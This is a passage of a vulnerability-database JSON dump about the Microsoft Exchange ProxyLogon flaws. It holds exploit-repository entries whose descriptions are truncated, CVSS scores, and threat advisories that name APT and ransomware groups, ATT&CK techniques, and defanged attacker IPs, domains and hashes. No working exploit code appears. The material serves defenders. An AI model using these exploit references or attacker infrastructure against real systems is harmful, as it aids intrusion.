"integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-08T08:39:05", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21978", "CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-04-03T10:42:30", "id": "65D56BCD-234F-52E5-9388-7D1421B31B1B", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-21T13:50:39", "description": "# CVE-2021-26855-PoC\nPoC exploit code for CVE-2021-26855. \n\nOrig...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T16:54:39", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-21978", "CVE-2021-26855"], "modified": "2022-02-21T12:12:08", "id": "F5339382-9321-5B96-934D-B803353CC9E3", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:26:23", "description": "# ProxyLogon-Mass-RCE\n## Description\nPython for mass deploying p...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-23T17:09:30", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26857", "CVE-2021-26855"], "modified": "2021-05-23T17:23:03", "id": "D7D65B87-E44D-559F-B05B-6AED7C8659D5", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-12T13:06:47", "description": "# HAFNIUM-IOC\nHafnium-IOC is a simple PowerShell script that run...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-03T17:36:18", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26858", "CVE-2021-26857", "CVE-2021-26865"], "modified": "2022-01-12T11:59:39", "id": "72EF4B3F-6CF3-5E4D-9B05-D4E27A7A9D1A", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-15T01:18:31", "description": "### This project has been discontinued\n\nPlease use Microsoft too...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-05T08:22:07", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26858", "CVE-2021-26857", "CVE-2021-27065", "CVE-2021-26855"], "modified": "2022-02-14T23:14:09", "id": "37EE4A49-AEF7-5A71-AC1C-4B55CB94DD92", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:20:04", "description": "# Exchange_IOC_Hunter\n\n#### Description:\n\nHunt for IOCs in IIS L...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T10:36:44", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26855"], "modified": "2021-03-17T10:22:07", "id": "F3D43FE5-47AE-591C-A2DD-8F92BC12D9A8", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:21:20", "description": "![](https://github.com/SCS-Labs/Images/raw/main/SCS%20-%20HAFNIU...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-11T21:18:29", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26855"], "modified": "2021-04-19T19:31:47", "id": "2481D5F6-C105-5158-B4AF-B67D7BA244A3", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-15T15:36:14", "description": "# CVE-2021-26855_SSRF\nCVE-2021-26855 Exchange ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-08T07:28:21", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26857", "CVE-2021-26855", "CVE-2021-26865", "CVE-2021-26858"], "modified": "2021-12-15T14:41:36", "id": "35B21CE7-1E51-5824-B70E-36480A6E8763", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "hivepro": [{"lastseen": "2022-12-08T08:11:22", "description": "Threat Level Actor Report For a detailed threat advisory, download the pdf file here Summary BackdoorDiplomacy, an advanced persistent threat (APT) gang with roots in China, is most likely behind a hostile campaign targeting the Middle East. The espionage action, aimed at a Middle Eastern telecom operator, is reported to have begun on August 19, 2021, with the successful exploitation of ProxyShell weaknesses (CVE-2021-26855) in the Microsoft Exchange Server.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-08T07:20:51", "type": "hivepro", "title": "BackdoorDiplomacy targets the telecom industry in the Middle East", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-12-08T07:20:51", "id": "HIVEPRO:D5E3F04B4C2C9644D7C5DCE9894CF0C6", "href": "https://www.hivepro.com/backdoordiplomacy-targets-the-telecom-industry-in-the-middle-east/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-23T15:19:10", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202130.pdf>)\n\nMicrosoft Exchange Server vulnerabilities have been officially patched for five months now. These vulnerabilities are actively exploited by multiple threat actors named DeadRinger. DeadRinger has been affecting the telecommunication industry all around the world. DeadRinger consists of three clusters. The first one includes threat group Softcell which has been active since 2012. The Naikon group, which has been active since 2020, is the second cluster. We discovered that the signatures match those of TG-3390, making it the third cluster.\n\nAs a response, Hive Pro Threat Researchers advises that you address these vulnerabilities.\n\nThe Techniques used by the DeadRinger includes: \nT1592: Gather Victim Host Information \nT1595: Active Scanning \nT1590: Gather Victim Network Information \nT1190: Exploit Public-Facing Application \nT1059: Command and Scripting Interpreter \nT1047: Windows Management Instrumentation \nT1059.001: Command and Scripting Interpreter: PowerShell \nT1505.003: Server Software Component: Web Shell \nT1136: Create Account \nT1053: Scheduled Task/Job \nT1078: Valid Accounts \nT1574: Hijack Execution Flow \nT1027.005: Obfuscated Files or Information: Indicator Removal from Tools \nT1027: Obfuscated Files or Information \nT1036: Masquerading \nT1070.006: Indicator Removal on Host: Timestomp \nT1140: Deobfuscate/Decode Files or Information \nT1040: Network Sniffing \nT1087: Account Discovery \nT1018: Remote System Discovery \nT1071.001: Application Layer Protocol: Web Protocols \nT1041: Exfiltration Over C2 Channel \nT1021.002: Remote Services: SMB/Windows Admin Shares \nT1550.002: Use Alternate Authentication Material: Pass the Hash \nT1105: Ingress Tool Transfer \nT1555: Credentials from Password Stores \nT1003: OS Credential Dumping \nT1016: System Network Configuration Discovery \nT1069: Permission Groups Discovery \nT1560: Archive Collected Data \nT1569: System Services \nT1543.003: Create or Modify System Process: Windows Service \nT1574.002: Hijack Execution Flow: DLL Side-Loading \nT1570: Lateral Tool Transfer \nT1056.001: Input Capture: Keylogging \nT1573: Encrypted Channel\n\n#### Vulnerability Details\n\n\n\n#### Actor Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n**Type** | **Value** \n---|--- \nIP Address | 47.56.86[.]44 \n45.76.213[.]2 \n45.123.118[.]232 \n101.132.251[.]212 \nSHA-1 Hash | 19e961e2642e87deb2db6ca8fc2342f4b688a45c \nba8f2843e2fb5274394b3c81abc3c2202d9ba592 \n243cd77cfa03f58f6e6568e011e1d6d85969a3a2 \nc549a16aaa9901c652b7bc576e980ec2a008a2e0 \nc2850993bffc8330cff3cb89e9c7652b8819f57f \n440e04d0cc5e842c94793baf31e0d188511f0ace \ne2340b27a4b759e0e2842bfe5aa48dda7450af4c \n15336340db8b73bf73a17c227eb0c59b5a4dece2 \n5bc5dbe3a2ffd5ed1cd9f0c562564c8b72ae2055 \n0dc49c5438a5d80ef31df4a4ccaab92685da3fc6 \n81cfcf3f8213bce4ca6a460e1db9e7dd1474ba52 \ne93ceb7938120a87c6c69434a6815f0da42ab7f2 \n207b7cf5db59d70d4789cb91194c732bcd1cfb4b \n71999e468252b7458e06f76b5c746a4f4b3aaa58 \n39c5c45dbec92fa99ad37c4bab09164325dbeea0 \nefc6c117ecc6253ed7400c53b2e148d5e4068636 \na3c5c0e93f6925846fab5f3c69094d8a465828e9 \na4232973418ee44713e59e0eae2381a42db5f54c \n5602bf8710b1521f6284685d835d5d1df0679b0f \ne3fcda85f5f42a2bffb65f3b8deeb523f8db2302 \n720556854fb4bcf83b9ceb9515fbe3f5cb182dd5 \nb699861850e4e6fde73dfbdb761645e2270f9c9a \n6516d73f8d4dba83ca8c0330d3f180c0830af6a0 \n99f8263808c7e737667a73a606cbb8bf0d6f0980 \na5b193118960184fe3aa3b1ea7d8fd1c00423ed6 \n92ce6af826d2fb8a03d6de7d8aa930b4f94bc2db \nd9e828fb891f033656a0797f5fc6d276fbc9748f \n87c3dc2ae65dcd818c12c1a4e4368f05719dc036 \nDomain | Cymkpuadkduz[.]xyz \nnw.eiyfmrn[.]com \njdk.gsvvfsso[.]com \nttareyice.jkub[.]com \nmy.eiyfmrn[.]com \nA.jrmfeeder[.]org \nafhkl.dseqoorg[.]com \n \n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>\n\n#### References\n\n<https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos>\n\n<https://www.zdnet.com/article/deadringer-chinese-apts-strike-major-telecommunications-companies/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-18T11:01:05", "type": "hivepro", "title": "Have you patched the vulnerabilities in Microsoft Exchange Server?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-08-18T11:01:05", "id": "HIVEPRO:0E3B824DCD3B82D06D8078A118E98B54", "href": "https://www.hivepro.com/have-you-patched-the-vulnerabilities-in-microsoft-exchange-server/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-24T14:24:49", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Federal Bureau of Investigation and Cybersecurity and Infrastructure Security Agency released threat advisories on AvosLocker Ransomware. It is a Ransomware as a Service (RaaS) affiliate-based group that has targeted 50+ organizations in critical infrastructure sectors such as financial services, manufacturing plants, and government facilities in countries such as the United States, Saudi Arabia, the United Kingdom, Germany, Spain, and the United Arab Emirates, among others. After it's affiliates infect targets, AvosLocker claims to handle ransom negotiations, as well as the publishing and hosting of exfiltrated victim data. The AvosLocker ransomware is a multi-threaded C++ Windows executable that operates as a console application and displays a log of actions performed on victim computers. For the delivery of the ransomware payload, the attackers use spam email campaigns as the initial infection vector. The threat actors exploits Proxy Shell vulnerabilities CVE-2021-31206, CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, as well as CVE-2021-26855 to gain access to victim\u2019s machine and then they deploy Mimikatz to steal passwords. Furthermore, threat actors can use the detected credentials to get RDP access to the domain controller and then exfiltrate data from the compromised machine. Finally, the attacker installs AvosLocker ransomware on the victim's computer and then encrypts the victim's documents and files with the ".avos" extension. The actor then leaves a ransom letter in each directory named "GET YOUR FILES BACK.txt" with a link to an AvosLocker .onion payment site. The Organizations can mitigate the risk by following the recommendations: \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. The MITRE TTPs commonly used by Avoslocker are: TA0001: Initial AccessTA0002: ExecutionTA0007: DiscoveryTA0040: ImpactT1566: PhishingT1204: User ExecutionT1082: System Information DiscoveryT1490: Inhibit System RecoveryT1489: Service StopT1486: Data Encrypted for Impact Actor Detail Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 Recent Breaches https://www.unical.com/ https://www.paccity.net/ https://www.gigabyte.com/ Reference https://www.cisa.gov/uscert/ncas/current-activity/2022/03/22/fbi-and-fincen-release-advisory-avoslocker-ransomware", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-24T06:30:44", "type": "hivepro", "title": "AvosLocker Ransomware group has targeted 50+ Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-24T06:30:44", "id": "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "href": "https://www.hivepro.com/avoslocker-ransomware-group-has-targeted-50-organizations-worldwide/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-30T07:42:21", "description": "For a detailed threat digest, download the pdf file here Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 340 10 5 53 24 84 The fourth week of March 2022 witnessed the discovery of 340 vulnerabilities out of which 10 gained the attention of Threat Actors and security researchers worldwide. Among these 10, there was 1 which is undergoing reanalysis, and 2 were not present in the NVD at all. Hive Pro Threat Research Team has curated a list of 10 CVEs that require immediate action. Furthermore, we also observed five threat actor groups being highly active in the last week. The Lapsus$, a new extortion threat actor group had attacked popular organizations such as Brazilian Ministry of Health, NVIDIA, Samsung, Vodafone, Ubisoft, Octa, and Microsoft for data theft and destruction, was observed using the Redline info-stealer. Additionally, North Korean state hackers known as Lazarus group, was exploiting the zero-day vulnerability in Google Chrome's web browser (CVE-2022-0609). AvosLocker is a Ransomware as a Service (RaaS) affiliate-based group that has targeted 50+ organizations is currently exploiting Proxy Shell vulnerabilities (CVE-2021-31206, CVE-2021-31207, CVE-2021-34523, CVE-2021-34473, CVE-2021-26855). The threat actor APT35 aka Magic Hound, an Iranian-backed threat group is exploiting the Proxy Shell vulnerabilities to attack organizations across the globe. Another South Korean APT group DarkHotel was targeting the hospitality industry in China. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section below. Detailed Report: Interesting Vulnerabilities: Vendor CVEs Patch Link CVE-2021-34484 CVE-2022-21919 https://central.0patch.com/auth/login CVE-2022-0609* CVE-2022-1096* https://www.google.com/intl/en/chrome/?standalone=1 CVE-2021-31206 CVE-2021-31207 CVE-2021-34523 CVE-2021-34473 CVE-2021-26855 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 CVE-2022-0543 https://security-tracker.debian.org/tracker/CVE-2022-0543 Active Actors: Icon Name Origin Motive APT 35 (Magic Hound, Cobalt Illusion, Charming Kitten, TEMP.Beanie, Timberworm, Tarh Andishan, TA453, ITG18, Phosphorus, Newscaster) Iran Information theft and espionage AvosLocker Unknown Ecrime, Information theft, and Financial gain Lazarus Group (Labyrinth Chollima, Group 77, Hastati Group, Whois Hacking Team, NewRomanic Cyber Army Team, Zinc, Hidden Cobra, Appleworm, APT-C-26, ATK 3, SectorA01, ITG03) North Korea Information theft and espionage, Sabotage and destruction, Financial crime Lapsus$ (DEV-0537) Unknown Data theft and Destruction DarkHotel (APT-C-06, SIG25, Dubnium, Fallout Team, Shadow Crane, CTG-1948, Tungsten Bridge, ATK 52, Higaisa, TAPT-02, Luder) South Korea Information theft and espionage Targeted Location: Targeted Sectors: Common TTPs: TA0042: Resource Development TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and Control TA0010: Exfiltration TA0040: Impact T1583: Acquire Infrastructure T1189: Drive-by Compromise T1059: Command and Scripting Interpreter T1098: Account Manipulation T1548: Abuse Elevation Control Mechanism T1548: Abuse Elevation Control Mechanism T1110: Brute Force T1010: Application Window Discovery T1021: Remote Services T1560: Archive Collected Data T1071: Application Layer Protocol T1048: Exfiltration Over Alternative Protocol T1485: Data Destruction T1583.001: Domains T1190: Exploit Public-Facing Application T1059.001: PowerShell T1547: Boot or Logon Autostart Execution T1134: Access Token Manipulation T1134: Access Token Manipulation T1110.003: Password Spraying T1083: File and Directory Discovery T1021.001: Remote Desktop Protocol T1560.003: Archive via Custom Method T1071.001: Web Protocols T1048.003: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol T1486: Data Encrypted for Impact T1583.006: Web Services T1133: External Remote Services T1059.005: Visual Basic T1547.006: Kernel Modules and Extensions T1134.002: Create Process with Token T1134.002: Create Process with Token T1056: Input Capture T1120: Peripheral Device Discovery T1021.002: SMB/Windows Admin Shares T1560.002: Archive via Library T1132: Data Encoding T1041: Exfiltration Over C2 Channel T1491: Defacement T1587: Develop Capabilities T1566: Phishing T1059.004: Unix Shell T1547.001: Registry Run Keys / Startup Folder T1547: Boot or Logon Autostart Execution T1564: Hide Artifacts T1056.004: Credential API Hooking T1057: Process Discovery T1021.004: SSH T1213: Data from Information Repositories T1132.001: Standard Encoding T1537: Transfer Data to Cloud Account T1491.001: Internal Defacement T1587.001: Malware T1566.001: Spearphishing Attachment T1059.003: Windows Command Shell T1547.009: Shortcut Modification T1547.006: Kernel Modules and Extensions T1564.001: Hidden Files and Directories T1056.001: Keylogging T1012: Query Registry T1005: Data from Local System T1001: Data Obfuscation T1561: Disk Wipe T1588: Obtain Capabilities T1199: Trusted Relationship T1203: Exploitation for Client Execution T1543: Create or Modify System Process T1547.001: Registry Run Keys / Startup Folder T1562: Impair Defenses T1003: OS Credential Dumping T1082: System Information Discovery T1074: Data Staged T1001.003: Protocol Impersonation T1561.001: Disk Content Wipe T1588.004: Digital Certificates T1078: Valid Accounts T1106: Native API T1543.003: Windows Service T1547.009: Shortcut Modification T1562.004: Disable or Modify System Firewall T1111: Two-Factor Authentication Interception T1016: System Network Configuration Discovery T1074.001: Local Data Staging T1573: Encrypted Channel T1561.002: Disk Structure Wipe T1588.006: Vulnerabilities T1053: Scheduled Task/Job T1133: External Remote Services T1543: Create or Modify System Process T1562.001: Disable or Modify Tools T1552: Unsecured Credentials T1033: System Owner/User Discovery T1056: Input Capture T1573.001: Symmetric Cryptography T1490: Inhibit System Recovery T1204: User Execution T1137: Office Application Startup T1543.003: Windows Service T1070: 